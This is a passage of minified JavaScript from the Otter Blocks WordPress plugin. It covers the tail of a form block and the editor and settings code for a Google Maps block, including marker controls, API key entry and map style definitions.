o-error",style:{color:e.submitMessageErrorColor,margin:"0px"}},null!==(g=B.errorMessage)&&void 0!==g?g:(0,o.__)("Error. Please try again.","otter-blocks"))),!oe&&e.id&&(0,i.createElement)(b.Fragment,null,(0,i.createElement)("p",null,(0,o.__)("Some data is missing!","otter-blocks")),void 0===e.optionName&&(0,i.createElement)("p",null,(0,o.__)("Bad initialization. Please create another Form!","otter-blocks")),!1===Q&&(0,i.createElement)("p",null,(0,o.__)("CSRF protection is missing. Please create another Form!","otter-blocks"))),D&&(0,i.createElement)(p.Notice,{isDismissible:!1,status:"error"},(0,i.createElement)("p",null,(0,o.__)("Some Form fields have the same Mapped Name! Please change the Mapped Name of the duplicated fields.","otter-blocks")),(0,i.createElement)(p.Button,{variant:"primary",onClick:()=>{R(D)}},(0,o.__)("Go to Block","otter-blocks")))))):(0,i.createElement)(u.__experimentalBlockVariationPicker,{icon:(0,A.get)(Z,["icon","src"]),label:(0,A.get)(Z,["title"]),variations:Y,onSelect:(e=q)=>{e&&(window.oTrk?.add({feature:"form",featureComponent:"variant",featureValue:e.name}),F(l,(0,a.createBlocksFromInnerBlocksTemplate)(e.innerBlocks),!0)),R(l)},allowSkip:!0}))))},save:({attributes:e})=>{const t=u.useBlockProps.save({id:e.id,className:c()({"can-submit-and-subscribe":"submit-subscribe"===e.action,"has-captcha":e.hasCaptcha}),"data-option-name":e.optionName});return(0,i.createElement)("div",{...t},(0,i.createElement)("form",{className:"otter-form__container"},(0,i.createElement)(u.InnerBlocks.Content,null),(0,i.createElement)("div",{className:c()("wp-block-button",{left:"left"===e.submitStyle},{right:"right"===e.submitStyle},{full:"full"===e.submitStyle},{"o-full-tablet":"full"===e.submitStyleTablet},{"o-right-tablet":"right"===e.submitStyleTablet},{"o-left-tablet":"left"===e.submitStyleTablet},{"o-full-mobile":"full"===e.submitStyleMobile},{"o-right-mobile":"right"===e.submitStyleMobile},{"o-left-mobile":"left"===e.submitStyleMobile},{"o-center":"center"===e.submitStyle},{"o-center-tablet":"center"===e.submitStyleTablet},{"o-center-mobile":"center"===e.submitStyleMobile})},(0,i.createElement)("button",{className:"wp-block-button__link",type:"submit"},e.submitLabel?e.submitLabel:(0,o.__)("Submit","otter-blocks")))))},deprecated:yt,example:{attributes:{},innerBlocks:[{name:"themeisle-blocks/form-input",attributes:{label:(0,o.__)("Name","otter-blocks"),type:"text",isRequired:!0}},{name:"themeisle-blocks/form-input",attributes:{label:(0,o.__)("Email","otter-blocks"),type:"email",isRequired:!0}},{name:"themeisle-blocks/form-textarea",attributes:{label:(0,o.__)("Message","otter-blocks")}},{name:"core/paragraph",attributes:{content:(0,o.__)("You agree to receive email communication from us by submitting this form and understand that your contact information will be stored with us.","otter-blocks"),fontSize:"extra-small"}}]},variations:[{name:"themeisle-blocks/form-contact",description:(0,o.__)("Contact form for clients","otter-blocks"),icon:r.formIcon,title:(0,o.__)("Contact Form","otter-blocks"),innerBlocks:[["themeisle-blocks/form-input",{label:(0,o.__)("Name","otter-blocks"),type:"text",isRequired:!0}],["themeisle-blocks/form-input",{label:(0,o.__)("Email","otter-blocks"),type:"email",isRequired:!0}],["themeisle-blocks/form-nonce",{}],["themeisle-blocks/form-textarea",{label:(0,o.__)("Message","otter-blocks")}],["core/paragraph",{content:(0,o.__)("You agree to receive email communication from us by submitting this form and understand that your contact information will be stored with us.","otter-blocks"),fontSize:"extra-small"}]],scope:["block"]},{name:"themeisle-blocks/form-subscribe",description:(0,o.__)("Add the clients to your subscription list","otter-blocks"),icon:r.formIcon,title:(0,o.__)("Subscribe Form","otter-blocks"),innerBlocks:[["themeisle-blocks/form-input",{label:(0,o.__)("Name","otter-blocks"),type:"text",isRequired:!0}],["themeisle-blocks/form-input",{label:(0,o.__)("Email","otter-blocks"),type:"email",isRequired:!0}],["themeisle-blocks/form-nonce",{}],["core/paragraph",{content:(0,o.__)("You agree to receive email communication from us by submitting this form and understand that your contact information will be stored with us.","otter-blocks"),fontSize:"extra-small"}]],scope:["block"]}]});var Pl=JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":2,"name":"themeisle-blocks/google-map","title":"Google Maps","category":"themeisle-blocks","description":"Display Google Maps on your website with Google Map block. Powered by Otter.","keywords":["map","google","orbitfox"],"textdomain":"otter-blocks","attributes":{"id":{"type":"string"},"style":{"type":"string","default":"standard"},"location":{"type":"string","default":"La Sagrada Familia, Barcelona, Spain"},"latitude":{"type":"string"},"longitude":{"type":"string"},"type":{"type":"string","default":"roadmap"},"zoom":{"type":"number","default":15},"height":{"type":["number","string"],"default":"400px"},"heightTablet":{"type":"string"},"heightMobile":{"type":"string"},"draggable":{"type":"boolean","default":true},"mapTypeControl":{"type":"boolean","default":true},"zoomControl":{"type":"boolean","default":true},"fullscreenControl":{"type":"boolean","default":true},"streetViewControl":{"type":"boolean","default":true},"markers":{"type":"array","default":[]}},"supports":{"align":["wide","full"],"html":false},"editorStyle":"otter-google-map-editor","style":"otter-google-map-style","script":"google-maps"}'),zl=l(8721),Fl=({api:e,error:t,isAPILoaded:l,isAPISaved:a,isSaving:n,changeAPI:s,saveAPIKey:d})=>l?a?void 0:(0,i.createElement)(p.Placeholder,{icon:r.googleMapIcon,label:(0,o.__)("Google Maps","otter-blocks"),instructions:(0,o.__)("A Google Maps API key is required, please enter one below.","otter-blocks")},(0,i.createElement)("div",{className:"components-placeholder__actions"},(0,i.createElement)(p.TextControl,{type:"text",placeholder:(0,o.__)("Google Maps API Key","otter-blocks"),value:e,className:c()("components-placeholder__input",{"is-invalid":t}),onChange:s}),(0,i.createElement)(p.Button,{isPrimary:!0,type:"submit",onClick:d,isBusy:n,disabled:""===e||t},(0,o.__)("Save","otter-blocks"))),(0,i.createElement)("div",{className:"components-placeholder__learn-more"},t&&(0,i.createElement)("p",null,(0,o.__)("The API key could not be validated.","otter-blocks")),(0,i.createElement)("p",null,(0,o.__)("You need to activate Maps and Places API.","otter-blocks")," ",(0,i.createElement)(p.ExternalLink,{href:"https://developers.google.com/maps/documentation/javascript/get-api-key"},(0,o.__)("Need an API key? Get one here.","otter-blocks"))))):(0,i.createElement)(p.Placeholder,null,(0,i.createElement)(p.Spinner,null),(0,o.__)("Loading…","otter-blocks")),Rl=({marker:e,isOpen:t,isPlaceAPIAvailable:l,openMarker:a,removeMarker:n,changeMarkerProp:r})=>{const s=(0,b.useRef)(null);return(0,i.createElement)("div",{className:"wp-block-themeisle-blocks-google-map-marker"},(0,i.createElement)("div",{className:"wp-block-themeisle-blocks-google-map-marker-title-area"},(0,i.createElement)(p.Button,{className:"wp-block-themeisle-blocks-google-map-marker-title",onClick:()=>a(e.id)},e.title||(0,o.__)("Custom Marker","otter-blocks")),(0,i.createElement)(p.Button,{icon:"no-alt",label:(0,o.__)("Remove Marker","otter-blocks"),showTooltip:!0,className:"wp-block-themeisle-blocks-google-map-marker-remove",onClick:()=>n(e.id)})),(0,i.createElement)("div",{className:c()("wp-block-themeisle-blocks-google-map-marker-control-area",{opened:e.id===t})},(0,i.createElement)(p.BaseControl,{label:(0,o.__)("Location","otter-blocks"),id:`themeisle-location-search-${e.id}`},(0,i.createElement)("input",{type:"text",id:`themeisle-location-search-${e.id}`,placeholder:(0,o.__)("Enter a location…","otter-blocks"),value:e.location,className:"wp-block-themeisle-blocks-google-map-search",ref:s,onFocus:()=>{const t=document.getElementsByClassName("pac-container");Object.keys(t).forEach((e=>t[e].remove()));const l=new window.google.maps.places.SearchBox(s.current);l.addListener("places_changed",(()=>{const t=l.getPlaces();t&&0<t.length&&t.forEach((t=>{const l=t.formatted_address||t.name,o=t.geometry.location.lat(),a=t.geometry.location.lng();r(e.id,"location",l),r(e.id,"latitude",o),r(e.id,"longitude",a)}))}))},onChange:t=>r(e.id,"location",t.target.value),disabled:!l}),!l&&(0,i.createElement)("p",null,(0,o.__)("To enable locations earch, please ensure Places API is activated in the Google Developers Console.","otter-blocks")+" ",(0,i.createElement)(p.ExternalLink,{href:"https://developers.google.com/places/web-service/intro"},(0,o.__)("More info.","otter-blocks")))),(0,i.createElement)(p.TextControl,{label:(0,o.__)("Latitude","otter-blocks"),type:"text",value:e.latitude,onChange:t=>r(e.id,"latitude",t)}),(0,i.createElement)(p.TextControl,{label:(0,o.__)("Longitude","otter-blocks"),type:"text",value:e.longitude,onChange:t=>r(e.id,"longitude",t)}),(0,i.createElement)(p.SelectControl,{label:(0,o.__)("Map Icon","otter-blocks"),value:e.icon||"https://maps.google.com/mapfiles/ms/icons/red-dot.png",options:[{label:(0,o.__)("Red","otter-blocks"),value:"https://maps.google.com/mapfiles/ms/icons/red-dot.png"},{label:(0,o.__)("Blue","otter-blocks"),value:"https://maps.google.com/mapfiles/ms/icons/blue-dot.png"},{label:(0,o.__)("Yellow","otter-blocks"),value:"https://maps.google.com/mapfiles/ms/icons/yellow-dot.png"},{label:(0,o.__)("Green","otter-blocks"),value:"https://maps.google.com/mapfiles/ms/icons/green-dot.png"},{label:(0,o.__)("Orange","otter-blocks"),value:"https://maps.google.com/mapfiles/ms/icons/orange-dot.png"}],onChange:t=>r(e.id,"icon",t)}),(0,i.createElement)(p.TextControl,{label:(0,o.__)("Title","otter-blocks"),type:"text",value:e.title,onChange:t=>r(e.id,"title",t)}),(0,i.createElement)(g.LD,{label:(0,o.__)("Description","otter-blocks"),type:"text",value:e.description,onChange:t=>r(e.id,"description",t)})))},Ll=({initialOpen:e,markers:t,isPlaceAPIAvailable:l,addMarker:a,removeMarker:n,changeMarkerProp:r})=>{(0,b.useEffect)((()=>{!1!==e&&c(e)}),[e]);const[s,c]=(0,b.useState)(null),d=e=>{s===e&&(e=null),c(e)};return(0,i.createElement)(b.Fragment,null,(0,i.createElement)("div",{className:"wp-block-themeisle-blocks-google-map-marker-group"},t.map((e=>(0,i.createElement)(Rl,{key:e.id,marker:e,isOpen:s,isPlaceAPIAvailable:l,openMarker:d,removeMarker:n,changeMarkerProp:r})))),(0,i.createElement)(p.Button,{isSecondary:!0,className:"wp-block-themeisle-blocks-google-map-marker-add",onClick:a},(0,o.__)("Add Marker","otter-blocks")))},Ol=({attributes:e,setAttributes:t,map:l,changeStyle:a,isPlaceAPIAvailable:n,isMarkerOpen:r,setMarkerOpen:s,removeMarker:c,changeMarkerProp:d,addMarkerManual:m,api:h,isSaving:f,changeAPI:v,saveAPIKey:_})=>{const[C,w]=(0,y.useTabSwitch)(e.id,"settings"),{responsiveSetAttributes:E,responsiveGetAttributes:x}=(0,k.Y)(t),S=(0,b.useRef)(null);return(0,i.createElement)(u.InspectorControls,null,(0,i.createElement)(g.Hn,{value:C,options:[{label:(0,o.__)("Settings","otter-blocks"),value:"settings"},{label:(0,o.__)("Style","otter-blocks"),value:"style"}],onChange:w}),"settings"===C&&(0,i.createElement)(b.Fragment,null,(0,i.createElement)(p.PanelBody,{title:(0,o.__)("Location","otter-blocks")},(0,i.createElement)(p.BaseControl,{label:(0,o.__)("Location"),id:"wp-block-themeisle-blocks-google-map-search"},(0,i.createElement)("input",{type:"text",id:"wp-block-themeisle-blocks-google-map-search",placeholder:(0,o.__)("Enter a location…","otter-blocks"),value:e.location,className:"wp-block-themeisle-blocks-google-map-search",ref:S,onFocus:()=>{const e=document.getElementsByClassName("pac-container");Object.keys(e).forEach((t=>e[t].remove()));const o=new window.google.maps.places.SearchBox(S.current);o.addListener("places_changed",(()=>{const e=o.getPlaces();e&&0<e.length&&e.forEach((e=>{const o=e.geometry.location.lat(),a=e.geometry.location.lng(),n=new window.google.maps.LatLng(o,a);l.setCenter(n),t({location:e.formatted_address||e.name,latitude:o.toString(),longitude:a.toString()})}))}))},onChange:e=>{t({location:e.target.value})},disabled:!n}),!n&&(0,i.createElement)("p",null,(0,o.__)("To enable locations earch, please ensure Places API is activated in the Google Developers Console.","otter-blocks")+" ",(0,i.createElement)(p.ExternalLink,{href:"https://developers.google.com/places/web-service/intro"},(0,o.__)("More info.","otter-blocks")))),(0,i.createElement)(p.TextControl,{label:(0,o.__)("Latitude","otter-blocks"),type:"text",placeholder:(0,o.__)("Enter latitude…","otter-blocks"),value:e.latitude,onChange:o=>{t({latitude:o.toString()});const a=Number(o),{longitude:n}=e,r=new window.google.maps.LatLng(a,n);l.setCenter(r)}}),(0,i.createElement)(p.TextControl,{label:(0,o.__)("Longitude","otter-blocks"),type:"text",placeholder:(0,o.__)("Enter longitude","otter-blocks"),value:e.longitude,onChange:o=>{t({longitude:o.toString()});const{latitude:a}=e,n=Number(o),r=new window.google.maps.LatLng(a,n);l.setCenter(r)}})),(0,i.createElement)(p.PanelBody,{title:(0,o.__)("Positioning & Zooming","otter-blocks"),initialOpen:!1},(0,i.createElement)(p.RangeControl,{label:(0,o.__)("Map Zoom Level","otter-blocks"),value:e.zoom,onChange:e=>{t({zoom:e}),l.setZoom(e)},min:0,max:20}),(0,i.createElement)(g.n9,{label:(0,o.__)("Height","otter-blocks")},(0,i.createElement)(p.__experimentalUnitControl,{value:x([(T=e.height,(0,A.isNumber)(T)?(e=>e?`${e}px`:e)(T):T),e.heightTablet,e.heightMobile]),onChange:e=>E(e,["height","heightTablet","heightMobile"])}),(0,i.createElement)(g.Cd,{values:["height","heightTablet","heightMobile"],setAttributes:t}))),(0,i.createElement)(p.PanelBody,{title:(0,o.__)("Controls","otter-blocks"),initialOpen:!1},(0,i.createElement)(p.BaseControl,null,(0,o.__)("The following changes will not affect block preview during the editing process. You can click outside the block to see the changes take effect.","otter-blocks")),(0,i.createElement)(p.ToggleControl,{label:(0,o.__)("Draggable Map","otter-blocks"),checked:e.draggable,onChange:()=>{t({draggable:!e.draggable})}}),(0,i.createElement)(p.ToggleControl,{label:(0,o.__)("Map Type Control","otter-blocks"),checked:e.mapTypeControl,onChange:()=>{t({mapTypeControl:!e.mapTypeControl})}}),(0,i.createElement)(p.ToggleControl,{label:(0,o.__)("Zoom Control","otter-blocks"),checked:e.zoomControl,onChange:()=>{t({zoomControl:!e.zoomControl})}}),(0,i.createElement)(p.ToggleControl,{label:(0,o.__)("Full Screen Control","otter-blocks"),checked:e.fullscreenControl,onChange:()=>{t({fullscreenControl:!e.fullscreenControl})}}),(0,i.createElement)(p.ToggleControl,{label:(0,o.__)("Street View Control","otter-blocks"),checked:e.streetViewControl,onChange:()=>{t({streetViewControl:!e.streetViewControl})}})),(0,i.createElement)(p.PanelBody,{title:(0,o.__)("Markers","otter-blocks"),initialOpen:!1,opened:!1!==r||void 0,onToggle:()=>{!1!==r&&s(!0)}},(0,i.createElement)(Ll,{markers:e.markers,removeMarker:c,changeMarkerProp:d,addMarker:m,isPlaceAPIAvailable:n,initialOpen:r})),(0,i.createElement)(p.PanelBody,{title:(0,o.__)("Global Settings","otter-blocks"),initialOpen:!1},(0,i.createElement)(p.TextControl,{label:(0,o.__)("Google Maps API Key","otter-blocks"),type:"text",placeholder:(0,o.__)("Google Maps API Key","otter-blocks"),value:h,className:"components-placeholder__input",onChange:v,help:(0,o.__)("Changing the API key effects all Google Map Embed blocks. You will have to refresh the page after changing your API keys.","otter-blocks")}),(0,i.createElement)(p.Button,{isSecondary:!0,type:"submit",onClick:_,isBusy:f},(0,o.__)("Save API Key","otter-blocks"))),(0,i.createElement)(g.p,null)),"style"===C&&(0,i.createElement)(p.PanelBody,{title:(0,o.__)("Styles","otter-blocks")},(0,i.createElement)(g.Vv,{value:e.style,options:[{label:(0,o.__)("Standard","otter-blocks"),value:"standard",image:window.themeisleGutenberg.assetsPath+"/icons/map-standard.png"},{label:(0,o.__)("Silver","otter-blocks"),value:"silver",image:window.themeisleGutenberg.assetsPath+"/icons/map-silver.png"},{label:(0,o.__)("Retro","otter-blocks"),value:"retro",image:window.themeisleGutenberg.assetsPath+"/icons/map-retro.png"},{label:(0,o.__)("Dark","otter-blocks"),value:"dark",image:window.themeisleGutenberg.assetsPath+"/icons/map-dark.png"},{label:(0,o.__)("Night","otter-blocks"),value:"night",image:window.themeisleGutenberg.assetsPath+"/icons/map-night.png"},{label:(0,o.__)("Aubergine","otter-blocks"),value:"aubergine",image:window.themeisleGutenberg.assetsPath+"/icons/map-aubergine.png"}],onChange:a}),(0,i.createElement)(p.SelectControl,{label:(0,o.__)("Map Type","otter-blocks"),value:e.type,options:[{label:(0,o.__)("Road Map","otter-blocks"),value:"roadmap"},{label:(0,o.__)("Satellite View","otter-blocks"),value:"satellite"},{label:(0,o.__)("Hybrid","otter-blocks"),value:"hybrid"},{label:(0,o.__)("Terrain","otter-blocks"),value:"terrain"}],onChange:e=>{t({type:e}),l.setMapTypeId(window.google.maps.MapTypeId[e.toUpperCase()])}})));var T},Il=l(5241),Hl=({marker:e,isAdvanced:t,isPlaceAPIAvailable:l,addMarker:a,close:n})=>{(0,b.useEffect)((()=>{c(e.id),u(e.location),h(e.title),y(e.icon),v(e.description),C(e.latitude),E(e.longitude)}),[e]);const r=(0,b.useRef)(null),[s,c]=(0,b.useState)(e.id),[d,u]=(0,b.useState)(e.location),[m,h]=(0,b.useState)(e.title),[k,y]=(0,b.useState)(e.icon),[f,v]=(0,b.useState)(e.description),[_,C]=(0,b.useState)(e.latitude),[w,E]=(0,b.useState)(e.longitude);return(0,i.createElement)(p.Modal,{title:(0,o.__)("Add Marker","otter-blocks"),onRequestClose:n,shouldCloseOnClickOutside:!1},t&&(0,i.createElement)(b.Fragment,null,(0,i.createElement)(p.BaseControl,{label:(0,o.__)("Location","otter-blocks"),id:`themeisle-location-search-${e.id}`},(0,i.createElement)("input",{type:"text",id:`themeisle-location-search-${s}`,placeholder:(0,o.__)("Enter a location…","otter-blocks"),value:d,className:"wp-block-themeisle-blocks-google-map-search",ref:r,onFocus:()=>{const e=document.getElementsByClassName("pac-container");Object.keys(e).forEach((t=>e[t].remove()));const t=new window.google.maps.places.SearchBox(r.current);t.addListener("places_changed",(()=>{const e=t.getPlaces();e&&0<e.length&&e.forEach((e=>{const t=e.formatted_address||e.name,l=e.geometry.location.lat(),o=e.geometry.location.lng();u(t),C(l),E(o)}))}))},onChange:e=>u(e.target.value),disabled:!l})),(0,i.createElement)(p.TextControl,{label:(0,o.__)("Latitude","otter-blocks"),type:"text",value:_,onChange:C}),(0,i.createElement)(p.TextControl,{label:(0,o.__)("Longitude","otter-blocks"),type:"text",value:w,onChange:E})),(0,i.createElement)(p.TextControl,{label:(0,o.__)("Title","otter-blocks"),type:"text",value:m,onChange:h}),(0,i.createElement)(g.LD,{label:(0,o.__)("Description","otter-blocks"),type:"text",value:f,onChange:v}),(0,i.createElement)(p.SelectControl,{label:(0,o.__)("Map Icon","otter-blocks"),value:k||"https://maps.google.com/mapfiles/ms/icons/red-dot.png",options:[{label:(0,o.__)("Red","otter-blocks"),value:"https://maps.google.com/mapfiles/ms/icons/red-dot.png"},{label:(0,o.__)("Blue","otter-blocks"),value:"https://maps.google.com/mapfiles/ms/icons/blue-dot.png"},{label:(0,o.__)("Yellow","otter-blocks"),value:"https://maps.google.com/mapfiles/ms/icons/yellow-dot.png"},{label:(0,o.__)("Green","otter-blocks"),value:"https://maps.google.com/mapfiles/ms/icons/green-dot.png"},{label:(0,o.__)("Orange","otter-blocks"),value:"https://maps.google.com/mapfiles/ms/icons/orange-dot.png"}],onChange:y}),(0,i.createElement)(p.ButtonGroup,null,(0,i.createElement)(p.Button,{isPrimary:!0,onClick:()=>a(d,m,k,f,_,w)},(0,o.__)("Add","otter-blocks")),(0,i.createElement)(p.Button,{isSecondary:!0,onClick:n},(0,o.__)("Cancel","otter-blocks"))))},Nl=({attributes:e,initMap:t,displayMap:l,isMapLoaded:a,selectMarker:n,isSelectingMarker:r})=>{(0,b.useEffect)((()=>{l&&t()}),[l]);const{responsiveGetAttributes:s}=(0,k.Y)();return(0,i.createElement)(b.Fragment,null,(0,i.createElement)("div",{id:e.id,className:c()("wp-block-themeisle-blocks-google-map-container",{"is-selecting-marker":r}),style:{height:s([(0,h.Yj)(e.height),e.heightTablet,e.heightMobile])}}),a&&(0,i.createElement)(p.Button,{className:"wp-block-themeisle-blocks-google-map-marker-button",title:(0,o.__)("Add Button","otter-blocks"),onClick:n},(0,i.createElement)("span",{className:"dashicons dashicons-sticky"})))},Al={standard:[],silver:[{elementType:"geometry",stylers:[{color:"#f5f5f5"}]},{elementType:"labels.icon",stylers:[{visibility:"off"}]},{elementType:"labels.text.fill",stylers:[{color:"#616161"}]},{elementType:"labels.text.stroke",stylers:[{color:"#f5f5f5"}]},{featureType:"administrative.land_parcel",elementType:"labels.text.fill",stylers:[{color:"#bdbdbd"}]},{featureType:"poi",elementType:"geometry",stylers:[{color:"#eeeeee"}]},{featureType:"poi",elementType:"labels.text.fill",stylers:[{color:"#757575"}]},{featureType:"poi.park",elementType:"geometry",stylers:[{color:"#e5e5e5"}]},{featureType:"poi.park",elementType:"labels.text.fill",stylers:[{color:"#9e9e9e"}]},{featureType:"road",elementType:"geometry",stylers:[{color:"#ffffff"}]},{featureType:"road.arterial",elementType:"labels.text.fill",stylers:[{color:"#757575"}]},{featureType:"road.highway",elementType:"geometry",stylers:[{color:"#dadada"}]},{featureType:"road.highway",elementType:"labels.text.fill",stylers:[{color:"#616161"}]},{featureType:"road.local",elementType:"labels.text.fill",stylers:[{color:"#9e9e9e"}]},{featureType:"transit.line",elementType:"geometry",stylers:[{color:"#e5e5e5"}]},{featureType:"transit.station",elementType:"geometry",stylers:[{color:"#eeeeee"}]},{featureType:"water",elementType:"geometry",stylers:[{color:"#c9c9c9"}]},{featureType:"water",elementType:"labels.text.fill",stylers:[{color:"#9e9e9e"}]}],retro:[{elementType:"geometry",stylers:[{color:"#ebe3cd"}]},{elementType:"labels.text.fill",stylers:[{color:"#523735"}]},{elementType:"labels.text.stroke",stylers:[{color:"#f5f1e6"}]},{featureType:"administrative",elementType:"geometry.stroke",stylers:[{color:"#c9b2a6"}]},{featureType:"administrative.land_parcel",elementType:"geometry.stroke",stylers:[{color:"#dcd2be"}]},{featureType:"administrative.land_parcel",elementType:"labels.text.fill",stylers:[{color:"#ae9e90"}]},{featureType:"landscape.natural",elementType:"geometry",stylers:[{color:"#dfd2ae"}]},{featureType:"poi",elementType:"geometry",stylers:[{color:"#dfd2ae"}]},{featureType:"poi",elementType:"labels.text.fill",stylers:[{color:"#93817c"}]},{featureType:"poi.park",elementType:"geometry.fill",stylers:[{color:"#a5b076"}]},{featureType:"poi.park",elementType:"labels.text.fill",stylers:[{color:"#447530"}]},{featureType:"road",elementType:"geometry",stylers:[{color:"#f5f1e6"}]},{featureType:"road.arterial",elementType:"geometry",stylers:[{color:"#fdfcf8"}]},{featureType:"road.highway",elementType:"geometry",stylers:[{color:"#f8c967"}]},{featureType:"road.highway",elementType:"geometry.stroke",stylers:[{color:"#e9bc62"}]},{featureType:"road.highway.controlled_access",elementType:"geometry",stylers:[{color:"#e98d58"}]},{featureType:"road.highway.controlled_access",elementType:"geometry.stroke",stylers:[{color:"#db8555"}]},{featureType:"road.local",elementType:"labels.text.fill",stylers:[{color:"#806b63"}]},{featureType:"transit.line",elementType:"geometry",stylers:[{color:"#dfd2ae"}]},{featureType:"transit.line",elementType:"labels.text.fill",stylers:[{color:"#8f7d77"}]},{featureType:"transit.line",elementType:"labels.text.stroke",stylers:[{color:"#ebe3cd"}]},{featureType:"transit.station",elementType:"geometry",stylers:[{color:"#dfd2ae"}]},{featureType:"water",elementType:"geometry.fill",stylers:[{color:"#b9d3c2"}]},{featureType:"water",elementType:"labels.text.fill",stylers:[{color:"#92998d"}]}],dark:[{elementType:"geometry",stylers:[{color:"#212121"}]},{elementType:"labels.icon",stylers:[{visibility:"off"}]},{elementType:"labels.text.fill",stylers:[{color:"#757575"}]},{elementType:"labels.text.stroke",stylers:[{color:"#212121"}]},{featureType:"administrative",elementType:"geometry",stylers:[{color:"#757575"}]},{featureType:"administrative.country",elementType:"labels.text.fill",stylers:[{color:"#9e9e9e"}]},{featureType:"administrative.land_parcel",stylers:[{visibility:"off"}]},{featureType:"administrative.locality",elementType:"labels.text.fill",stylers:[{color:"#bdbdbd"}]},{featureType:"poi",elementType:"labels.text.fill",stylers:[{color:"#757575"}]},{featureType:"poi.park",elementType:"geometry",stylers:[{color:"#181818"}]},{featureType:"poi.park",elementType:"labels.text.fill",stylers:[{color:"#616161"}]},{featureType:"poi.park",elementType:"labels.text.stroke",stylers:[{color:"#1b1b1b"}]},{featureType:"road",elementType:"geometry.fill",stylers:[{color:"#2c2c2c"}]},{featureType:"road",elementType:"labels.text.fill",stylers:[{color:"#8a8a8a"}]},{featureType:"road.arterial",elementType:"geometry",stylers:[{color:"#373737"}]},{featureType:"road.highway",elementType:"geometry",stylers:[{color:"#3c3c3c"}]},{featureType:"road.highway.controlled_access",elementType:"geometry",stylers:[{color:"#4e4e4e"}]},{featureType:"road.local",elementType:"labels.text.fill",stylers:[{color:"#616161"}]},{featureType:"transit",elementType:"labels.text.fill",stylers:[{color:"#757575"}]},{featureType:"water",elementType:"geometry",stylers:[{color:"#000000"}]},{featureType:"water",elementType:"labels.text.fill",stylers:[{color:"#3d3d3d"}]}],night:[{elementType:"geometry",stylers:[{color:"#242f3e"}]},{elementType:"labels.text.fill",stylers:[{color:"#746855"}]},{elementType:"labels.text.stroke",stylers:[{color:"#242f3e"}]},{featureType:"administrative.locality",elementType:"labels.text.fill",stylers:[{color:"#d59563"}]},{featureType:"poi",elementType:"labels.text.fill",stylers:[{color:"#d59563"}]},{featureType:"poi.park",elementType:"geometry",stylers:[{color:"#263c3f"}]},{featureType:"poi.park",elementType:"labels.text.fill",stylers:[{color:"#6b9a76"}]},{featureType:"road",elementType:"geometry",stylers:[{color:"#38414e"}]},{featureType:"road",elementType:"geometry.stroke",stylers:[{color:"#212a37"}]},{featureType:"road",elementType:"labels.text.fill",stylers:[{color:"#9ca5b3"}]},{featureType:"road.highway",elementType:"geometry",stylers:[{color:"#746855"}]},{featureType:"road.highway",elementType:"geometry.stroke",stylers:[{color:"#1f2835"}]},{featureType:"road.highway",elementType:"labels.text.fill",stylers:[{color:"#f3d19c"}]},{featureType:"transit",elementType:"geometry",stylers:[{color:"#2f3948"}]},{featureType:"transit.station",elementType:"labels.text.fill",stylers:[{color:"#d59563"}]},{featureType:"water",elementType:"geometry",stylers:[{color:"#17263c"}]},{featureType:"water",elementType:"labels.text.fill",stylers:[{color:"#515c6d"}]},{featureType:"water",elementType:"labels.text.stroke",stylers:[{color:"#17263c"}]}],aubergine:[{elementType:"geometry",stylers:[{color:"#1d2c4d"}]},{elementType:"labels.text.fill",stylers:[{color:"#8ec3b9"}]},{elementType:"labels.text.stroke",stylers:[{color:"#1a3646"}]},{featureType:"administrative.country",elementType:"geometry.stroke",stylers:[{color:"#4b6878"}]},{featureType:"administrative.land_parcel",elementType:"labels.text.fill",stylers:[{color:"#64779e"}]},{featureType:"administrative.province",elementType:"geometry.stroke",stylers:[{color:"#4b6878"}]},{featureType:"landscape.man_made",elementType:"geometry.stroke",stylers:[{color:"#334e87"}]},{featureType:"landscape.natural",elementType:"geometry",stylers:[{color:"#023e58"}]},{featureType:"poi",elementType:"geometry",stylers:[{color:"#283d6a"}]},{featureType:"poi",elementType:"labels.text.fill",stylers:[{color:"#6f9ba5"}]},{featureType:"poi",elementType:"labels.text.stroke",stylers:[{color:"#1d2c4d"}]},{featureType:"poi.park",elementType:"geometry.fill",stylers:[{color:"#023e58"}]},{featureType:"poi.park",elementType:"labels.text.fill",stylers:[{color:"#3C7680"}]},{featureType:"road",elementType:"geometry",stylers:[{color:"#304a7d"}]},{featureType:"road",elementType:"labels.text.fill",stylers:[{color:"#98a5be"}]},{featureType:"road",elementType:"labels.text.stroke",stylers:[{color:"#1d2c4d"}]},{featureType:"road.highway",elementType:"geometry",stylers:[{color:"#2c6675"}]},{featureType:"road.highway",elementType:"geometry.stroke",stylers:[{color:"#255763"}]},{featureType:"road.highway",elementType:"labels.text.fill",stylers:[{color:"#b0d5ce"}]},{featureType:"road.highway",elementType:"labels.text.stroke",stylers:[{color:"#023e58"}]},{featureType:"transit",elementType:"labels.text.fill",stylers:[{color:"#98a5be"}]},{featureType:"transit",elementType:"labels.text.stroke",stylers:[{color:"#1d2c4d"}]},{featureType:"transit.line",elementType:"geometry.fill",stylers:[{color:"#283d6a"}]},{featureType:"transit.station",elementType:"geometry",stylers:[{color:"#3a4762"}]},{featureType:"water",elementType:"geometry",stylers:[{color:"#0e1626"}]},{featureType:"water",elementType:"labels.text.fill",stylers:[{color:"#4e6d70"}]}]};const{attributes:Vl}=Pl;const Dl={to:[{type:"block",blocks:["themeisle-blocks/leaflet-map"],transform:e=>{const t=(0,A.omit)(e,["style","mapTypeControl","fullscreenControl","streetViewControl"]);return(0,a.createBlock)("themeisle-blocks/leaflet-map",{...t})}}]};var Gl=Dl;const{name:jl}=Pl;(0,a.registerBlockType)(jl,{...Pl,title:(0,o.__)("Google Maps","otter-blocks"),description:(0,o.__)("Display Google Maps on your website with Google Map block. Powered by Otter.","otter-blocks"),icon:r.googleMapIcon,keywords:["map","google","orbitfox"],transforms:Gl,edit:({attributes:e,setAttributes:t,clientId:l,isSelected:a})=>{(0,b.useEffect)((()=>{const t=(0,y.blockInit)(l,Vl);return()=>t(e.id)}),[e.id]),(0,b.useEffect)((()=>{let e=!0;return(async()=>{await window.wp.api.loadPromise.then((()=>{r.current=new 